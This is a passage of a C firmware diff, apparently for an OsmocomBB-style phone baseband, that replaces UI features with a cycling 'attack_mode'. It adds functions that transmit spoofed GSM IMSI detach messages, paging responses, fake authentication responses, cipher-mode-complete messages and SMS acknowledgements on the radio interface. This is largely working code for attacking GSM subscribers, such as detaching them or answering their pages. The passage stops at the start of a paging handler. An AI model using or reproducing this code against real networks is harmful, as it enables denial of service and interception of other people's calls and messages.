++ int sum = 0;
++
++ if (uplink) {
++ /* find max */
++ for (i = 0; i < pm_count; i++) {
++ if (pm_meas[i] > sum)
++ sum = pm_meas[i];
++ }
++ power = sum;
++ } else {
++ for (i = 0; i < pm_count; i++)
++ sum += pm_meas[i];
++ power = sum / pm_count;
++ }
++ if (power > max_power)
++ max_power = power;
++ pm_count = 0;
++ pm_max = (uplink) ? NUM_PM_UL : NUM_PM_DL;
++ refresh_display();
++ }
++ return;
++ }
++
++ if (pm_mode == PM_RANGE_RESULT) {
++ pm_mode = PM_IDLE;
++ refresh_display();
++ return;
++ }
++}
++
+
+ static void handle_key_code()
+ {
+@@ -785,10 +965,6 @@ static void handle_key_code()
+ if (key_code == KEY_INV)
+ return;
+
+- /* do later, do not disturb tone */
+- if (tone_on)
+- return;
+-
+ switch (key_code) {
+ case KEY_0:
+ case KEY_1:
+@@ -805,19 +981,15 @@ static void handle_key_code()
+ break;
+ case KEY_UP:
+ if (mode == MODE_MAIN)
+- tone_inc_dec(1);
++ break;
+ else if (mode == MODE_SYNC)
+ inc_dec_neighbour(0);
+- else if (mode == MODE_SPECTRUM)
+- inc_dec_spectrum(1);
+ break;
+ case KEY_DOWN:
+ if (mode == MODE_MAIN)
+- tone_inc_dec(0);
++ break;
+ else if (mode == MODE_SYNC)
+ inc_dec_neighbour(1);
+- else if (mode == MODE_SPECTRUM)
+- inc_dec_spectrum(0);
+ break;
+ case KEY_RIGHT:
+ if (mode == MODE_MAIN || mode == MODE_SPECTRUM)
+@@ -832,6 +1004,7 @@ static void handle_key_code()
+ inc_dec_ul_arfcn(0);
+ break;
+ case KEY_LEFT_SB:
++ memset(sms_state.text, 0, sizeof(sms_state.text));
+ if (mode == MODE_MAIN || mode == MODE_SPECTRUM)
+ toggle_dcs_pcs();
+ else if (mode == MODE_ARFCN)
+@@ -856,7 +1029,7 @@ static void handle_key_code()
+ enter_rach();
+ break;
+ case KEY_MENU:
+- hold_max();
++ reenter_sync();
+ break;
+ case KEY_POWER:
+ if (mode == MODE_ARFCN)
+@@ -865,12 +1038,11 @@ static void handle_key_code()
+ exit_sync();
+ else if (mode == MODE_RACH)
+ exit_rach();
+- else if (mode == MODE_SPECTRUM)
+- toggle_spectrum();
+ break;
+ case KEY_STAR:
+- if (mode == MODE_MAIN || mode == MODE_SPECTRUM)
+- toggle_spectrum();
++ attack_mode = (attack_mode + 1) % 6;
++ refresh_display();
++ break;
+ break;
+ default:
+ break;
+@@ -879,112 +1051,1025 @@ static void handle_key_code()
+ key_code = KEY_INV;
+ }
+
+-static void handle_tone(void)
+-{
+- unsigned long elapsed = jiffies - tone_time;
++/*
++============================================================================
++END OF UI HANDLING
++============================================================================
++*/
+
+- if (!tone_on) {
+- if (!tone || mode != MODE_MAIN)
+- return;
+- /* wait depending on power level */
+- if (elapsed < (uint8_t)(63-power))
+- return;
+- buzzer_volume(tone);
+- buzzer_note(NOTE(NOTE_C, OCTAVE_5));
+- tone_time = jiffies;
+- tone_on = 1;
+- return;
+- }
+
+- if (elapsed >= TONE_JIFFIES) {
+- tone_on = 0;
+- tone_time = jiffies;
+- buzzer_volume(0);
++/* PAGING functions */
++
++static char *chan_need(int need)
++{
++ switch (need) {
++ case 0:
++ return "any";
++ case 1:
++ return "sdch";
++ case 2:
++ return "tch/f";
++ case 3:
++ return "tch/h";
++ default:
++ return "invalid";
+ }
+ }
+
+-/* PM handling */
+
+-static void handle_pm(void)
++static const char *pag_print_mode(int m)
+ {
+- /* start power measurement */
+- if (pm_mode == PM_IDLE && (mode == MODE_MAIN || mode == MODE_SPECTRUM)) {
+- struct msgb *msg = l1ctl_msgb_alloc(L1CTL_PM_REQ);
+- struct l1ctl_pm_req *pm;
+- uint16_t a, e;
++ switch (m) {
++ case 0:
++ return "Normal paging";
++ case 1:
++ return "Extended paging";
++ case 2:
++ return "Paging reorganization";
++ case 3:
++ return "Same as before";
++ default:
++ return "invalid";
++ }
++}
++static char *mi_type_to_string(int type)
++{
++ switch (type) {
++ case GSM_MI_TYPE_NONE:
++ return "none";
++ case GSM_MI_TYPE_IMSI:
++ return "IMSI";
++ case GSM_MI_TYPE_IMEI:
++ return "IMEI";
++ case GSM_MI_TYPE_IMEISV:
++ return "IMEISV";
++ case GSM_MI_TYPE_TMSI:
++ return "TMSI";
++ default:
++ return "invalid";
++ }
++}
+
+- pm = (struct l1ctl_pm_req *) msgb_put(msg, sizeof(*pm));
+- pm->type = 1;
+- if (mode == MODE_MAIN) {
+- a = arfcn;
+- if (pcs && arfcn >= PCS_MIN && arfcn <= PCS_MAX)
+- a |= ARFCN_PCS;
+- if (uplink)
+- a |= ARFCN_UPLINK;
+- e = a;
+- pm_mode = PM_SENT;
+- }
+- if (mode == MODE_SPECTRUM) {
+- if (pcs && arfcn >= PCS_MIN && arfcn <= PCS_MAX) {
+- a = PCS_MIN | ARFCN_PCS;
+- e = PCS_MAX | ARFCN_PCS;
+- } else {
+- a = band->min;
+- e = band->max;
+- }
+- pm_mode = PM_RANGE_SENT;
+- }
+- if (uplink) {
+- a |= ARFCN_UPLINK;
+- e |= ARFCN_UPLINK;
+- }
+- pm->range.band_arfcn_from = htons(a);
+- pm->range.band_arfcn_to = htons(e);
++struct msgb *gsm48_l3_msgb_alloc(void)
++{
++ struct msgb *msg;
+
+- l1a_l23_rx(SC_DLCI_L1A_L23, msg);
++ msg = msgb_alloc_headroom(L3_ALLOC_SIZE+L3_ALLOC_HEADROOM,
++ L3_ALLOC_HEADROOM, "GSM 04.08 L3");
++ if (!msg)
++ return NULL;
++ msg->l3h = msg->data;
++
++ return msg;
++}
++
++
++int l1ctl_tx_crypto_req(uint8_t algo, uint8_t *key, uint8_t len){
++ struct msgb *msg;
++ struct l1ctl_info_ul *ul;
++ struct l1ctl_crypto_req *req;
++
++ msg = l1ctl_msgb_alloc(L1CTL_CRYPTO_REQ);
++ if (!msg)
++ return -1;
++
++ printf("CRYPTO Req. algo=%d, len=%d\n", algo, len);
++ ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*ul));
++ req = (struct l1ctl_crypto_req *) msgb_put(msg, sizeof(*req) + len);
++ req->algo = algo;
++ if (len)
++ memcpy(req->key, key, len);
++
++ l1a_l23_rx(SC_DLCI_L1A_L23, msg);
++
++ return 0;
++}
++
++static void disable_ciphering(void){
++ l1ctl_tx_crypto_req(0, NULL, 0);
++}
++
++static void enable_ciphering(void){
++ l1ctl_tx_crypto_req(GSM_CIPHER_A5_1, kc, sizeof(kc)-1);
++}
++
++int l1ctl_tx_dm_est_req_h1(uint8_t maio, uint8_t hsn, uint16_t *ma, uint8_t ma_len, uint8_t chan_nr, uint8_t tsc, uint8_t tch_mode) {
++ struct msgb *msg;
++ struct l1ctl_info_ul *ul;
++ struct l1ctl_dm_est_req *req;
++ int i;
++
++ msg = l1ctl_msgb_alloc(L1CTL_DM_EST_REQ);
++ if (!msg)
++ return -1;
++
++ printf("\nh1: Tx Dedic.Mode Est Req (maio=%u, hsn=%u, chan_nr=0x%02x)\n", maio, hsn, chan_nr);
++
++ ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*ul));
++ ul->chan_nr = chan_nr;
++ ul->link_id = 0;
++
++ req = (struct l1ctl_dm_est_req *) msgb_put(msg, sizeof(*req));
++ req->tsc = tsc;
++ req->h = 1;
++ req->h1.maio = maio;
++ req->h1.hsn = hsn;
++ req->h1.n = ma_len;
++
++ for (i = 0; i < ma_len; i++)
++ req->h1.ma[i] = htons(ma[i]);
++
++ req->tch_mode = tch_mode;
++ //req->audio_mode = audio_mode;
++ req->audio_mode = AUDIO_TX_MICROPHONE | AUDIO_RX_SPEAKER;
++
++ l1a_l23_rx(SC_DLCI_L1A_L23, msg);
++ return 0;
++}
++
++
++int l1ctl_tx_dm_est_req_h0(uint16_t band_arfcn, uint8_t chan_nr, uint8_t tsc, uint8_t tch_mode){
++ struct msgb *msg;
++ struct l1ctl_info_ul *ul;
++ struct l1ctl_dm_est_req *req;
++
++ msg = l1ctl_msgb_alloc(L1CTL_DM_EST_REQ);
++ if (!msg)
++ return -1;
++
++ printf("\nh0: Tx Dedic.Mode Est Req (arfcn=%u, chan_nr=0x%02x)\n", band_arfcn, chan_nr);
++
++ ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*ul));
++ ul->chan_nr = chan_nr;
++ ul->link_id = 0;
++
++ req = (struct l1ctl_dm_est_req *) msgb_put(msg, sizeof(*req));
++ req->tsc = tsc;
++ req->h = 0;
++ req->h0.band_arfcn = htons(band_arfcn);
++ req->tch_mode = tch_mode;
++ //req->audio_mode = audio_mode;
++ req->audio_mode = AUDIO_TX_MICROPHONE | AUDIO_RX_SPEAKER;
++
++ l1a_l23_rx(SC_DLCI_L1A_L23, msg);
++ return 0;
++}
++
++static int tx_ccch_mode(uint8_t ccch_mode){
++ struct msgb *msg = l1ctl_msgb_alloc(L1CTL_CCCH_MODE_REQ);
++ struct l1ctl_ccch_mode_req *req;
++
++ if(!msg) return -1;
++ req = (struct l1ctl_ccch_mode_req *) msgb_put(msg, sizeof(*req));
++ req->ccch_mode = ccch_mode;
++
++ l1a_l23_rx(SC_DLCI_L1A_L23, msg);
++ return 0;
++}
++
++static int tx_chan_req(void){
++ struct msgb *msg;
++ struct l1ctl_info_ul *ul;
++ struct l1ctl_rach_req *rach_req;
++ uint8_t ran = 0x1f;
+
++ msg = l1ctl_msgb_alloc(L1CTL_RACH_REQ);
++ if(!msg) return -1;
++
++ ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*ul));
++ rach_req = (struct l1ctl_rach_req *) msgb_put(msg, sizeof(*rach_req));
++
++ rach_req->ra = 0x80 | ran;
++ rach_req->offset = 0;
++ rach_req->combined = (ccch_conf == 1);
++
++ l1a_l23_rx(SC_DLCI_L1A_L23, msg);
++ return 0;
++}
++
++static int tx_param_req(uint8_t timing_adv, uint8_t tx_power){
++ struct msgb *msg;
++ struct l1ctl_info_ul *ul;
++ struct l1ctl_par_req *par_req;
++
++ msg = l1ctl_msgb_alloc(L1CTL_PARAM_REQ);
++ if(!msg) return -1;
++
++ ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*ul));
++ par_req = (struct l1ctl_par_req *) msgb_put(msg, sizeof(*par_req));
++ par_req->tx_power = tx_power;
++ par_req->ta = timing_adv;
++
++ l1a_l23_rx(SC_DLCI_L1A_L23, msg);
++ return 0;
++}
++
++static void lapdm_pad_msgb(struct msgb *msg, uint8_t n201)
++{
++ int pad_len = n201 - msgb_l2len(msg);
++ uint8_t *data;
++
++ if (pad_len < 0) {
++ printf("cannot pad message that is already too big!\n");
+ return;
+ }
+
+- if (pm_mode == PM_RESULT) {
+- pm_mode = PM_IDLE;
+- if (pm_count == pm_max) {
+- int i = 0;
+- int sum = 0;
++ data = msgb_put(msg, pad_len);
++ memset(data, 0x2B, pad_len);
++}
+
+- if (uplink) {
+- /* find max */
+- for (i = 0; i < pm_count; i++) {
+- if (pm_meas[i] > sum)
+- sum = pm_meas[i];
+- }
+- power = sum;
+- } else {
+- for (i = 0; i < pm_count; i++)
+- sum += pm_meas[i];
+- power = sum / pm_count;
+- }
+- if (power > max_power)
+- max_power = power;
+- pm_count = 0;
+- pm_max = (uplink) ? NUM_PM_UL : NUM_PM_DL;
+- if (!tone_on)
+- refresh_display();
++static int gsm48_encode_classmark1(struct gsm48_classmark1 *cm){
++ memset(cm, 0, sizeof(*cm));
++
++ cm->rev_lev = 1;
++ cm->es_ind = 0;
++ cm->a5_1 = 0;
++ cm->pwr_lev = 0;
++
++ return 0;
++}
++static int gsm48_encode_classmark2(struct gsm48_classmark2 *cm){
++ memset(cm, 0, sizeof(*cm));
++
++ cm->pwr_lev = power;
++ cm->spare = 0;
++ cm->es_ind = 0;
++ cm->a5_1 = 0;
++ cm->rev_lev = 1;
++
++ cm->fc = 1;
++ cm->vgcs = 0;
++ cm->vbs = 0;
++ cm->sm_cap = 1;
++ cm->ss_scr = 1;
++ cm->ps_cap = 0;
++
++ cm->a5_2 = 1;
++ cm->a5_3 = 0;
++ cm->cmsp = 0;
++ cm->solsa = 0;
++ cm->lcsva_cap = 0;
++
++ return 0;
++}
++
++static int l1ctl_tx_data_req(struct msgb *msg){
++ /*
++ if (msgb_l2len(msg) > 23) {
++ printf("L1 cannot handle message length > 23 (%u)\n", msgb_l2len(msg));
++ msgb_free(msg);
++ return -EINVAL;
++ } else if (msgb_l2len(msg) < 23) {
++ printf("L1 message length < 23 (%u) doesn't seem right!\n", msgb_l2len(msg));
++ }
++ */
++
++ //printf("(%s)\n", osmo_hexdump(msg->l2h, msgb_l2len(msg)));
++ l1a_l23_rx(SC_DLCI_L1A_L23, msg);
++ return 0;
++}
++
++static int tx_lapdm_rr(uint8_t chan_nr, uint8_t nr){
++ struct msgb *msg;
++ struct l1ctl_info_ul *l1i_ul;
++
++ msg = l1ctl_msgb_alloc(L1CTL_DATA_REQ);
++ if(!msg) return -1;
++
++ printf("\n-> func=RR, N(R)=%d\n", nr);
++ //printf("\(%s)\n", osmo_hexdump(msg->data, msg->len));
++ /* prepend uplink info header */
++ l1i_ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*l1i_ul));
++
++ l1i_ul->chan_nr = chan_nr;
++ l1i_ul->link_id = 0;
++
++ msg->l2h = msgb_put(msg, 3);
++
++ msg->l2h[0] = LAPDm_ADDR(LAPDm_LPD_NORMAL, lapd_state.sapi, CR_MS2BS_RESP);
++ msg->l2h[1] = LAPDm_CTRL_S(nr, LAPDm_S_RR, 0);
++ /* TODO compute actual length */
++ msg->l2h[2] = 0x1;
++
++ lapdm_pad_msgb(msg, 23);
++
++ l1ctl_tx_data_req(msg);
++ return 0;
++}
++
++static int tx_lapdm_ua(uint8_t chan_nr){
++ struct msgb *msg;
++ struct l1ctl_info_ul *l1i_ul;
++
++ msg = l1ctl_msgb_alloc(L1CTL_DATA_REQ);
++ if(!msg) return -1;
++
++ printf("\n-> U func=UA\n");
++
++ /* prepend uplink info header */
++ l1i_ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*l1i_ul));
++
++ l1i_ul->chan_nr = chan_nr;
++ l1i_ul->link_id = 0;
++
++ msg->l2h = msgb_put(msg, 3);
++
++ msg->l2h[0] = LAPDm_ADDR(LAPDm_LPD_NORMAL, lapd_state.sapi, CR_MS2BS_RESP);
++ msg->l2h[1] = LAPDm_CTRL_U(LAPDm_U_UA, 1);
++
++ /* TODO compute actual length */
++ msg->l2h[2] = 0x1;
++
++ lapdm_pad_msgb(msg, 23);
++
++ l1ctl_tx_data_req(msg);
++ return 0;
++}
++
++static int tx_imsi_detach(uint8_t chan_nr, uint8_t *midata, uint8_t milen){
++ struct msgb *msg;
++ struct gsm48_hdr *ngh;
++ struct l1ctl_info_ul *l1i_ul;
++ struct gsm48_classmark1 cm;
++ uint8_t *mi;
++
++ msg = l1ctl_msgb_alloc(L1CTL_DATA_REQ);
++ if(!msg) return -1;
++
++ /* prepend uplink info header */
++ l1i_ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*l1i_ul));
++ l1i_ul->chan_nr = chan_nr;
++ l1i_ul->link_id = 0;
++
++ msg->l2h = msgb_put(msg, 3);
++
++ ngh = (struct gsm48_hdr *)msgb_put(msg, sizeof(*ngh));
++ ngh->proto_discr = GSM48_PDISC_MM;
++ ngh->msg_type = GSM48_MT_MM_IMSI_DETACH_IND;
++
++ gsm48_encode_classmark1(&cm);
++
++ msg->l2h[0] = 0x01; //LAPDm_ADDR(LAPDm_LPD_NORMAL, 0, CR_MS2BS_RESP);
++ msg->l2h[1]= LAPDm_CTRL_U(LAPDm_U_SABM, 1);
++ /* 2 (RR + seq + type ) + 1 (classmark1) + mobile identity len */
++ msg->l2h[2] = LAPDm_LEN(3 + milen);
++
++ msgb_v_put(msg, *((uint8_t *)&cm));
++
++ mi = msgb_put(msg, milen);
++ memcpy(mi, midata, milen);
++
++ lapdm_pad_msgb(msg, 23);
++ l1a_l23_rx(SC_DLCI_L1A_L23, msg);
++
++ return 0;
++}
++
++static int gsm48_encode_mi(uint8_t *buf, struct msgb *msg, uint8_t mi_type) {
++ uint8_t *ie;
++ uint8_t mi_len = 0;
++
++ /* the length and values are completely bogus... just placeholders for now */
++ switch(mi_type) {
++ case GSM_MI_TYPE_TMSI:
++ gsm48_generate_mid_from_tmsi(buf, "\x01\x02\x03\x04");
++ mi_len = 4;
++ break;
++ case GSM_MI_TYPE_IMSI:
++ gsm48_generate_mid_from_imsi(buf, "123456789012345");
++ mi_len = 8;
++ break;
++ case GSM_MI_TYPE_IMEI:
++ gsm48_generate_mid_from_imsi(buf, "123456789012345");
++ mi_len = 8;
++ break;
++ case GSM_MI_TYPE_IMEISV:
++ gsm48_generate_mid_from_imsi(buf, "123456789012345");
++ mi_len = 8;
++ break;
++ case GSM_MI_TYPE_NONE:
++ default:
++ buf[0] = GSM48_IE_MOBILE_ID;
++ buf[1] = 1;
++ buf[2] = 0xf0;
++ break;
++ }
++ /* alter MI type */
++ buf[2] = (buf[2] & ~GSM_MI_TYPE_MASK) | mi_type;
++
++ if (msg) {
++ /* MI as LV */
++ ie = msgb_put(msg, 1 + buf[1]);
++ memcpy(ie, buf + 1, 1 + buf[1]);
++ }
++
++ return mi_len;
++}
++
++
++/* this is a dummy and just sends back a nonsense identity */
++static int tx_identity_response(uint8_t chan_nr, uint8_t n_recv, uint8_t n_send, uint8_t mi_type){
++ struct msgb *msg;
++ struct gsm48_hdr *ngh;
++ struct l1ctl_info_ul *l1i_ul;
++
++ uint8_t *identity;
++ uint8_t mi_len;
++ uint8_t buf[11];
++
++ msg = l1ctl_msgb_alloc(L1CTL_DATA_REQ);
++ if(!msg) return -1;
++
++ /* prepend uplink info header */
++ l1i_ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*l1i_ul));
++ l1i_ul->chan_nr = chan_nr;
++ l1i_ul->link_id = 0;
++
++ msg->l2h = msgb_put(msg, 3);
++
++ ngh = (struct gsm48_hdr *)msgb_put(msg, sizeof(*ngh));
++ ngh->proto_discr = GSM48_PDISC_MM;
++ ngh->msg_type = GSM48_MT_MM_ID_RESP;
++
++ msg->l2h[0] = 0x1; // RR/MM/CC final octet set
++ msg->l2h[1]= LAPDm_CTRL_I(n_recv, n_send, 0);
++
++ mi_len = gsm48_encode_mi(buf, msg, mi_type);
++ msg->l2h[2] = LAPDm_LEN(3 + mi_len);
++
++ printf("\n-> ID RESP\n\n");
++
++ lapdm_pad_msgb(msg, 23);
++ l1a_l23_rx(SC_DLCI_L1A_L23, msg);
++ return 0;
++}
++
++static int tx_authentication_response(uint8_t chan_nr, uint8_t n_recv, uint8_t n_send){
++ struct msgb *msg;
++ struct gsm48_hdr *ngh;
++ struct l1ctl_info_ul *l1i_ul;
++ uint8_t *sres;
++
++ msg = l1ctl_msgb_alloc(L1CTL_DATA_REQ);
++ if(!msg) return -1;
++
++ /* prepend uplink info header */
++ l1i_ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*l1i_ul));
++ l1i_ul->chan_nr = chan_nr;
++ l1i_ul->link_id = 0;
++
++ msg->l2h = msgb_put(msg, 3);
++
++ ngh = (struct gsm48_hdr *)msgb_put(msg, sizeof(*ngh));
++ ngh->proto_discr = GSM48_PDISC_MM;
++ ngh->msg_type = GSM48_MT_MM_AUTH_RESP;
++
++ msg->l2h[0] = 0x1; // RR/MM/CC final octet set
++ msg->l2h[1]= LAPDm_CTRL_I(n_recv, n_send, 0);
++ msg->l2h[2] = LAPDm_LEN(6); /* 4 auth resp + 2 msg type + protocol discriminator */
++
++ sres = msgb_put(msg, 4);
++ memcpy(sres, "\xde\xad\xbe\xef", 4);
++
++ printf("\n-> AUTH RESP\n\n");
++
++ lapdm_pad_msgb(msg, 23);
++ l1a_l23_rx(SC_DLCI_L1A_L23, msg);
++ return 0;
++}
++
++static int tx_cipher_mode_complete(uint8_t chan_nr, uint8_t n_recv, uint8_t n_send){
++ struct msgb *msg;
++ struct gsm48_hdr *ngh;
++ struct l1ctl_info_ul *l1i_ul;
++
++ printf("\n->CIPHER MODE COMPLETE\n");
++ msg = l1ctl_msgb_alloc(L1CTL_DATA_REQ);
++ if(!msg) return -1;
++
++ /* prepend uplink info header */
++ l1i_ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*l1i_ul));
++ l1i_ul->chan_nr = chan_nr;
++ l1i_ul->link_id = 0;
++
++ msg->l2h = msgb_put(msg, 3);
++
++ ngh = (struct gsm48_hdr *)msgb_put(msg, sizeof(*ngh));
++ ngh->proto_discr = GSM48_PDISC_RR;
++ ngh->msg_type = GSM48_MT_RR_CIPH_M_COMPL;
++
++ msg->l2h[0] = 0x1; // RR/MM/CC final octet set
++ msg->l2h[1]= LAPDm_CTRL_I(n_recv, n_send, 0);
++ msg->l2h[2] = LAPDm_LEN(2);
++
++ lapdm_pad_msgb(msg, 23);
++ l1a_l23_rx(SC_DLCI_L1A_L23, msg);
++ return 0;
++}
++
++static int tx_sms_rp_ack(uint8_t chan_nr){
++ struct msgb *msg;
++ struct l1ctl_info_ul *l1i_ul;
++ struct gsm48_classmark1 cm;
++ uint8_t *mi;
++
++ msg = l1ctl_msgb_alloc(L1CTL_DATA_REQ);
++ if(!msg) return -1;
++
++ /* prepend uplink info header */
++ l1i_ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*l1i_ul));
++ l1i_ul->chan_nr = chan_nr;
++ l1i_ul->link_id = 0;
++
++ msg->l2h = msgb_put(msg, 3);
++
++ gsm48_encode_classmark1(&cm);
++
++ msg->l2h[0] = 0x0d;
++ msg->l2h[1]= 0x42;
++ msg->l2h[2] = 0x15;
++
++ mi = msgb_put(msg, 4);
++ /* TODO: don't hardcode that */
++ memcpy(mi, "\x89\x01\x02\x2a", 4);
++
++ lapdm_pad_msgb(msg, 23);
++ l1a_l23_rx(SC_DLCI_L1A_L23, msg);
++
++ return 0;
++}
++
++static int tx_sms_cp_data_rp_ack(uint8_t chan_nr, uint8_t n_recv, uint8_t n_send){
++ struct msgb *msg;
++ struct l1ctl_info_ul *l1i_ul;
++ struct gsm48_classmark1 cm;
++ uint8_t *mi;
++
++ printf("\n-> N(R)=%d, N(S)=%d, CP-DATA RP-ACK\n", n_recv, n_send);
++ msg = l1ctl_msgb_alloc(L1CTL_DATA_REQ);
++ if(!msg) return -1;
++
++ /* prepend uplink info header */
++ l1i_ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*l1i_ul));
++ l1i_ul->chan_nr = chan_nr;
++ l1i_ul->link_id = 0;
++
++ msg->l2h = msgb_put(msg, 3);
++
++ gsm48_encode_classmark1(&cm);
++
++ msg->l2h[0] = 0x0d;
++ msg->l2h[1]= LAPDm_CTRL_I(n_recv, n_send, 1);
++ msg->l2h[2] = 0x15;
++
++ mi = msgb_put(msg, 5);
++ /* TODO: don't hardcode that */
++ memcpy(mi, "\x89\x01\x02\x02\x2a", 5);
++
++ lapdm_pad_msgb(msg, 23);
++ //printf("\(%s)\n", osmo_hexdump(msg->data, msg->len));
++ l1a_l23_rx(SC_DLCI_L1A_L23, msg);
++
++ return 0;
++}
++static int tx_sms_cp_ack(uint8_t chan_nr, uint8_t recv, uint8_t send){
++ struct msgb *msg;
++ struct l1ctl_info_ul *l1i_ul;
++ struct gsm48_classmark1 cm;
++ uint8_t *mi;
++
++ printf("\n-> N(R)=%d, N(S)=%d, CP-ACK\n", recv, send);
++
++ msg = l1ctl_msgb_alloc(L1CTL_DATA_REQ);
++ if(!msg) return -1;
++
++ /* prepend uplink info header */
++ l1i_ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*l1i_ul));
++ l1i_ul->chan_nr = chan_nr;
++ l1i_ul->link_id = 0;
++
++ msg->l2h = msgb_put(msg, 3);
++
++ gsm48_encode_classmark1(&cm);
++
++ msg->l2h[0] = 0x0d;
++ msg->l2h[1]= LAPDm_CTRL_I(recv, send, 0);
++ msg->l2h[2] = 0x09;
++
++ mi = msgb_put(msg, 2);
++ /* TODO: don't hardcode that */
++ memcpy(mi, "\x89\x04", 2);
++
++ lapdm_pad_msgb(msg, 23);
++ l1a_l23_rx(SC_DLCI_L1A_L23, msg);
++
++ return 0;
++}
++
++static int tx_paging_response(uint8_t chan_nr, uint8_t *midata, uint8_t milen){
++ struct msgb *msg;
++ struct gsm48_hdr *gh;
++ struct gsm48_pag_rsp *pr;
++ struct l1ctl_info_ul *l1i_ul;
++
++ msg = l1ctl_msgb_alloc(L1CTL_DATA_REQ);
++ if(!msg) return -1;
++
++ /* prepend uplink info header */
++ l1i_ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*l1i_ul));
++
++ l1i_ul->chan_nr = chan_nr;
++ l1i_ul->link_id = 0;
++
++ msg->l2h = msgb_put(msg, 3);
++ gh = (struct gsm48_hdr *) msgb_put(msg, sizeof(*gh));
++ pr = (struct gsm48_pag_rsp *) msgb_put(msg, sizeof(*pr) + milen);
++
++ gh->proto_discr = GSM48_PDISC_RR;
++ gh->msg_type = GSM48_MT_RR_PAG_RESP;
++
++ pr->key_seq = key_seq;
++ pr->cm2_len = sizeof(pr->cm2);
++ gsm48_encode_classmark2(&pr->cm2);
++
++ memcpy(pr->data, midata, milen);
++
++ msg->l2h[0] = LAPDm_ADDR(LAPDm_LPD_NORMAL, 0, CR_MS2BS_CMD);
++ msg->l2h[1]= LAPDm_CTRL_U(LAPDm_U_SABM, 1);
++ /* TODO compute actual length */
++ /* 7 (classmark2 + RR) + MI */
++ msg->l2h[2] = LAPDm_LEN(7 + milen);
++
++ lapdm_pad_msgb(msg, 23);
++
++ l1ctl_tx_data_req(msg);
++ printf("-> PAGING RESPONSE\n");
++
++ return 0;
++}
++
++static int tx_reset_req(uint8_t type){
++ struct msgb *msg;
++ struct l1ctl_reset *res;
++
++ msg = l1ctl_msgb_alloc(L1CTL_RESET_REQ);
++ if(!msg) return -1;
++ res = (struct l1ctl_reset *) msgb_put(msg, sizeof(*res));
++ res->type = type;
++
++ l1a_l23_rx(SC_DLCI_L1A_L23, msg);
++ return 0;
++}
++
++/* dummy measurement report */
++static int tx_meas_rep(uint8_t chan_nr, uint8_t tx_power, uint8_t timing_advance){
++ struct msgb *nmsg;
++ struct gsm48_hdr *gh;
++ struct gsm48_meas_res *mr;
++ struct l1ctl_info_ul *l1i_ul;
++ uint8_t *sacch_l1;
++
++ nmsg = l1ctl_msgb_alloc(L1CTL_DATA_REQ);
++ if(!nmsg) return -1;
++
++ /* prepend uplink info header */
++ l1i_ul = (struct l1ctl_info_ul *) msgb_put(nmsg, sizeof(*l1i_ul));
++
++ l1i_ul->chan_nr = chan_nr;
++ l1i_ul->link_id = 0x40; // sacch indication
++
++ /* make space for sacch l1 header */
++ sacch_l1 = msgb_put(nmsg, 2);
++
++ nmsg->l2h = msgb_put(nmsg, 3);
++
++ gh = (struct gsm48_hdr *) msgb_put(nmsg, sizeof(*gh));
++ mr = (struct gsm48_meas_res *) msgb_put(nmsg, sizeof(*mr));
++
++ gh->proto_discr = GSM48_PDISC_RR;
++ gh->msg_type = GSM48_MT_RR_MEAS_REP;
++
++ /* measurement results */
++ mr->rxlev_full = 58;
++ mr->rxlev_sub = 58;
++ mr->rxqual_full = 0;
++ mr->rxqual_sub = 0;
++ mr->dtx_used = 0; // FIXME: no DTX yet
++ mr->ba_used = 0;
++ mr->meas_valid = 0;
++
++ mr->no_nc_n_hi = 0 >> 2;
++ mr->no_nc_n_lo = 0 & 3;
++ mr->rxlev_nc1 = 0;
++ mr->rxlev_nc2_hi = 0 >> 1;
++ mr->rxlev_nc2_lo = 0 & 1;
++ mr->rxlev_nc3_hi = 0 >> 2;
++ mr->rxlev_nc3_lo = 0 & 3;
++ mr->rxlev_nc4_hi = 0 >> 3;
++ mr->rxlev_nc4_lo = 0 & 7;
++ mr->rxlev_nc5_hi = 0 >> 4;
++ mr->rxlev_nc5_lo = 0 & 15;
++ mr->rxlev_nc6_hi = 0 >> 5;
++ mr->rxlev_nc6_lo = 0 & 31;
++ mr->bsic_nc1_hi = 0 >> 3;
++ mr->bsic_nc1_lo = 0 & 7;
++ mr->bsic_nc2_hi = 0 >> 4;
++ mr->bsic_nc2_lo = 0 & 15;
++ mr->bsic_nc3_hi = 0 >> 5;
++ mr->bsic_nc3_lo = 0 & 31;
++ mr->bsic_nc4 = 0;
++ mr->bsic_nc5 = 0;
++ mr->bsic_nc6 = 0;
++ mr->bcch_f_nc1 = 0;
++ mr->bcch_f_nc2 = 0;
++ mr->bcch_f_nc3 = 0;
++ mr->bcch_f_nc4 = 0;
++ mr->bcch_f_nc5_hi = 0 >> 1;
++ mr->bcch_f_nc5_lo = 0 & 1;
++ mr->bcch_f_nc6_hi = 0 >> 2;
++ mr->bcch_f_nc6_lo = 0 & 3;
++
++ nmsg->l2h[0] = LAPDm_ADDR(LAPDm_LPD_NORMAL, 0, CR_MS2BS_CMD);
++ nmsg->l2h[1]= 0x03; //LAPDm_CTRL_U(LAPDm_U_SABM, 1);
++ /* TODO compute actual length */
++ nmsg->l2h[2] = 0x49;
++
++ sacch_l1[0] = timing_advance;
++ sacch_l1[1] = tx_power;
++
++ printf("MEAS REP: pwr=%d TA=%d meas-invalid=%d "
++ "rxlev-full=%d rxlev-sub=%d rxqual-full=%d rxqual-sub=%d "
++ "dtx %d ba %d no-ncell-n %d\n", tx_power, ta, mr->meas_valid,
++ mr->rxlev_full - 110, mr->rxlev_sub - 110,
++ mr->rxqual_full, mr->rxqual_sub, mr->dtx_used, mr->ba_used,
++ (mr->no_nc_n_hi << 2) | mr->no_nc_n_lo);
++
++ l1ctl_tx_data_req(nmsg);
++}
++
++static int gsm48_rx_paging_p3(struct msgb *msg)
